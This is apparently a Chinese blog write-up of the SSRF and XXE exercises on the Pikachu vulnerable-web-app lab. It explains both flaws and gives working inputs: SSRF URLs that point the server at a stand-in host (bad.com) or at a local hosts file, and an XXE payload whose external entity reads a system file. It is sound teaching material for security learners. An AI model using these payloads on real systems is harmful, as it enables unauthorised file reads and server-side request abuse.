something about Pikachu - SSRF

pikachu

pikachu => 备份地址

SSRF

概述

SSRF(Server-Side Request Forgery:服务器端请求伪造)。主要由于服务端提供了从其他服务器应用获取数据 的功能,但又未对目标地址做严格的限制,导致攻击者可以传入恶意地址。服务器对恶意地址进行请求, 返回恶意内容后造成损失。

PHP后台对目标地址请求的函数主要有:

  • file_get_contents()

  • fsockopen()

  • curl_exec()

SSRF(curl)

在url中拼接对应的恶意地址即可。

1
http://train.com/pikachu/vul/ssrf/ssrf_curl.php?url=http://bad.com/

SSRF(file_get_content)

在url中拼接对应的恶意地址即可。

1
http://train.com/pikachu/vul/ssrf/ssrf_fgc.php?file=http://bad.com/bad.php

也可指定目标服务器上指定文件。

1
http://train.com/pikachu/vul/ssrf/ssrf_fgc.php?file=C:\Windows\System32\drivers\etc\hosts

something about Pikachu - XXE

pikachu

pikachu => 备份地址

XXE

概述

XXE(XML external entity injection),xml外部实体注入
概括就是,攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行, 导致问题。
目前很多语言中,对应的解析xml的函数默认是禁止解析外部实体内容的,从而直接避免此漏洞。

XXE漏洞

XML用来存储数据或传输数据。

一般定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<!-- 第一部分:文档声明部分 -->
<?xml version = "1.0"?>

<!-- 第二部分:文档定义类型DTD -->
<!-- 文档类型为note类型 -->
<!-- 定义名为`myparam`的外部实体的值为`myValue` -->
<!DOCTYPE note [
<!ENTITY myparam "myValue">
]>

<!-- 第三部分:文档元素 -->
<name>&myparam;</name>
<!-- ... -->

正常开发时,第一部分一般不会注意。第二部分一般使用url引入需要的DTD。在之前学比较老的SpringMVC, 使用XML配置文件时,文件头就会引入Spring的文档定义类型,然后在第三部分中就可以使用对应的实体(标记对)

构造payload,访问敏感文件。

1
2
3
<?xml version = "1.0"?>
<!DOCTYPE note [<!ENTITY myparam SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts">]>
<name>&myparam;</name>